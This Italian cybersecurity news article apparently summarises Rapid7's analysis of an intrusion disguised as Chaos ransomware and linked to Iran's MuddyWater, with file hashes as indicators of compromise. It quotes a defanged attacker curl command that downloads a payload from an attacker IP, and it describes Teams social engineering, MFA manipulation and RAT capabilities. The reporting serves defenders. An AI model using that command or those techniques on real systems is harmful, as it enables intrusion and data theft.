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L'immagine presenta il logo di Microsoft Teams in primo piano, caratterizzato da due figure stilizzate color lavanda e una "T" bianca racchiusa in un quadrato viola. Il logo sembra fluttuare al centro di un tunnel dinamico composto da linee di luce radiali che convergono verso il centro, creando un marcato effetto di velocità e profondità. La palette cromatica dello sfondo sfuma elegantemente da tonalità turchese e blu sul lato sinistro a sfumature viola e porpora sul lato destro. L'estetica complessiva suggerisce innovazione tecnologica, connettività rapida e un senso di proiezione verso il futuro digitale.

Attacco via Microsoft Teams: così gli hacker iraniani hanno aggirato MFA e le difese aziendali

7 Maggio 2026 09:21
In sintesi

Un attacco informatico, attribuito al gruppo ransomware Chaos, ha rivelato una nuova tendenza nel mondo delle operazioni informatiche criminali. Gli attaccanti utilizzano tattiche di ingegneria sociale per introdursi all'interno delle organizzazioni simulando un attacco ransomware, anche se lo scopo è puramente lo spionaggio.

Una intrusione inizialmente attribuita al gruppo ransomware Chaos, svoltasi nel primo trimestre 2026, ha mostrato delle caratteristiche molto diverse da una classica operazione ransomware. Gli analisti di Rapid7, sono riusciti ad identificare degli indicatori compatibili con una campagna sponsorizzata dallo Stato iraniano. Un dettaglio importante è il certificato digitale “Donald Gay”, il quale era stato osservato in precedenti attività associate a MuddyWater. Si tratta di un gruppo APT collegato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS).

Dietro al gruppo APT, Chaos si nascondeva una operazione costruita per sembrare cybercriminale ma non lo era affatto. Gli attaccanti infatti, non hanno dato priorità alla cifratura dei file come avviene spesso nei ransomware tradizionali, al contrario hanno puntato sulla sottrazione dei dati e sul mantenimento della persistenza alle reti compromesse.

FieldValue
NameDonald Gay
IssuerMicrosoft ID Verified CS AOC CA 02
Algorithmsha384RSA
ThumbprintB674578D4BDB24CD58BF2DC884EAA658B7AA250C
Serial Number33 00 07 9A 51 C7 06 3E 66 05 3D 22 9B 00 00 00 07 9A 51
StatusTime-invalid (revoked shortly after deployment)

Microsoft Teams usato come porta d’ingresso

L’accesso iniziale, è avvenuto attraverso un software altamente diffuso ovvero Microsoft Teams. Gli operatori hanno contattato i dipendenti delle aziende fingendosi personale IT, e questo è un classico in operazioni malevole. Durante queste conversazioni, hanno fatto avviare ai dipendenti delle sessioni di condivisione schermo e convinto le vittime a digitare le loro credenziali in file locali denominati “credentials.txt” e “cred.txt”.

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In molte occasioni, gli attaccanti hanno installato il software di controllo remoto AnyDesk sulla macchina della vittima per poter consolidare l’accesso. Successivamente, i malintenzionati hanno eseguito comandi sui computer delle vittime per effettuare una ricognizione con whoami, ipconfig /all e nslookup, per raccogliere informazioni sull’ambiente compromesso.

Rapid7 ha identificato il dominio adm-pulse.com, il quale è stato utilizzato come pagina di phishing travestita da Microsoft Quick Assist. La pagina è servita a sottrarre le credenziali e a manipolare la Multi-Factor Authentication, aggiungendo dei dispositivi controllati dagli aggressori.

Persistenza ottenuta con DWAgent e RDP

Dopo il furto delle credenziali, il gruppo di malintenzionati, ha iniziato a utilizzare account interni legittimi e quindi muoversi lateralmente nella rete. Le connessioni RDP sono state usate per raggiungere i sistemi critici, compresi alcuni Domain Controller.

Per mantenere la persistenza gli operatori hanno installato DWAgent. Nel corso dell’analisi sono stati osservati file come dwagent.exe, dwagsvc.exe e pythonw.exe. Quest’ultimo elemento non è un caso che abbia attirato l’attenzione dei ricercatori. MuddyWater infatti utilizza spesso interpreti Python per caricare codice malevolo direttamente nei processi sospesi.

Successivamente è stato scaricato il payload ms_upd.exe tramite il comando:

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curl hxxp://172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Una volta eseguito il file ha avviato una catena di infezione multi-stage che ha portato all’installazione del malware Game.exe.

Il RAT “Game.exe” nascosto dietro Microsoft WebView2

Gli analisti hanno scoperto che Game.exe altro non era che un RAT personalizzato mascherato da applicazione Microsoft WebView2. Il malware derivava da un progetto di Microsoft, alterato in alcune delle sue parti dagli attaccanti. Il percorso PDB individuato durante l’analisi faceva riferimento infatti a WebView2APISample.

Implementava tecniche anti-analisi abbastanza eterogenee e cercava DLL associate alle sandbox come sbiedll.dll e dbghelp.dll, verificava la presenza di ambienti virtualizzati VMware o Hyper-V e controllava eventuali anomalie temporali attraverso chiamate Sleep().

Eppure alcuni elementi risultavano lasciati in chiaro. Comandi RAT, percorsi dei file e stringhe JSON non erano offuscati. Vale la pena ricordarlo perché questa incoerenza tecnica ha permesso ai sistemi EDR di intercettare parte dell’attività malevola durante l’incidente.

La RAT comunicava con il server C2 uploadfiler.com sulla porta 443 e supportava diverse funzionalità operative:

  • esecuzione di comandi CMD e PowerShell;
  • upload di file in chunk;
  • eliminazione file;
  • shell interattive persistenti;
  • registrazione dinamica dell’host infetto.
  • Nessuna cifratura dei file: il dettaglio che cambia lo scenario

Uno degli aspetti molto insoliti dell’operazione riguarda l’assenza della cifratura dei dati. Chaos è noto come ransomware-as-a-service specializzato in double extortion. In questo caso però il gruppo ha pubblicato dati rubati senza utilizzare realmente il modulo ransomware.

Gli attaccanti hanno inviato email di estorsione ai dipendenti dichiarando di aver sottratto documenti sensibili. Hanno anche fornito link .onion per avviare le trattative. Tuttavia alcune prove iniziali presentavano incongruenze. Gli aggressori sostenevano di aver lasciato file contenenti credenziali nei desktop delle vittime ma le verifiche di Rapid7 non hanno trovato alcuna traccia.

Di conseguenza gli analisti hanno iniziato a considerare la pista del “false flag”. L’operazione imitava una campagna ransomware ma il comportamento reale assomigliava molto di più a una attività di cyber espionage.

Il collegamento con MuddyWater

L’attribuzione definitiva rimane complessa. Tuttavia diversi indicatori tecnici convergono verso MuddyWater, noto anche come Seedworm.

Il certificato di firma “Donald Gay” utilizzato per ms_upd.exe era già stato collegato alla campagna “Operation Olalampo”, attribuita a operatori iraniani attivi contro organizzazioni occidentali e del Medio Oriente. Anche il dominio moonzonet.com, usato come server C2, era comparso in precedenti attività contro obiettivi israeliani.

Forse il dettaglio meno ovvio riguarda proprio la scelta di sfruttare il brand Chaos. Dopo alcune operazioni pubblicamente attribuite all’Iran nel 2025 il gruppo sembra aver iniziato a utilizzare infrastrutture e marchi ransomware differenti per aumentare la plausibile negabilità.

Cybercrime e spionaggio si stanno sovrapponendo

L’incidente conferma una tendenza osservata molto spesso negli ultimi mesi: gruppi sponsorizzati dagli Stati stanno adottando tattiche tipiche del cybercrime per nascondere le proprie finalità operative.

Nel caso analizzato da Rapid7 il ransomware sembra avere avuto soprattutto una funzione di copertura. Gli strumenti di accesso remoto come DWAgent e AnyDesk hanno consentito agli operatori di mantenere accesso prolungato ai sistemi compromessi mentre la componente estorsiva serviva a distrarre i team difensivi.

Pertanto le organizzazioni non possono limitarsi a cercare la cifratura dei file o le classiche ransom note. Tecniche di social engineering via Teams, manipolazione della MFA e abuso di strumenti remoti legittimi stanno diventando molto spesso il vero vettore di compromissione nelle campagne APT moderne.

File indicators

File NameSHA 256Description
ms_upd.exe24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14Initial Downloader ms_upd.exe
DIDS.exea92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0Initial Downloader found during hunt on public repositories
Game.exe1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6RAT found during hunt on public repositories
WebView2.exe3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90RAT
visualwincomp.txtc86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0Encrypted config holding C2 url and port information
WebView2Loader.dlla47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3aDLL downloaded by ms_upd.exe
dwagent.execd098eddb23f2d2f6c42271ca82803b0d5ac950cb82a9b8ae0928e83945a53dfRemote Management Tool leveraged by the TA
dwagent.execf3dfd1d6626fd2129abb7a5983c11827f4b0d497e2dba146a1889bd71f23cd5Renamed pythonw.exe
dwagsvc.exea3bac548b5bc91c526b4d6707623ddbd1a675aa952f0d1f9a0aa6f7230f09f23Service binary of DWService
dwaglnc.exe86e0197389f0573eb83ff53991f337d416124c7c8bd727721ef3d396cd5f65dBackground and system tray binary of DWService
AnyDesk.exebfc1675ee1e358db8356f515aaded7962923e426aa0a0a1c0eddfc4dab053f89Remote Management Tool leveraged by the TA


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Bajram Zeqiri è un esperto di cybersecurity, cyber threat intelligence e digital forensics con oltre vent'anni di esperienza, che unisce competenze tecniche, visione strategica creare la resilienza cyber per le PMI. Fondatore di ParagonSec e collaboratore tecnico per Red Hot Cyber, opera nella delivery e progettazione di diversi servizi cyber, SOC, MDR, Incident Response, Security Architecture, Engineering e Operatività. Aiuta le PMI a trasformare la cybersecurity da un costo a leva strategica per le PMI.
Aree di competenza: Cyber threat intelligence, Incident response, Digital forensics, Malware analysis, Security architecture, SOC/MDR operations, OSINT research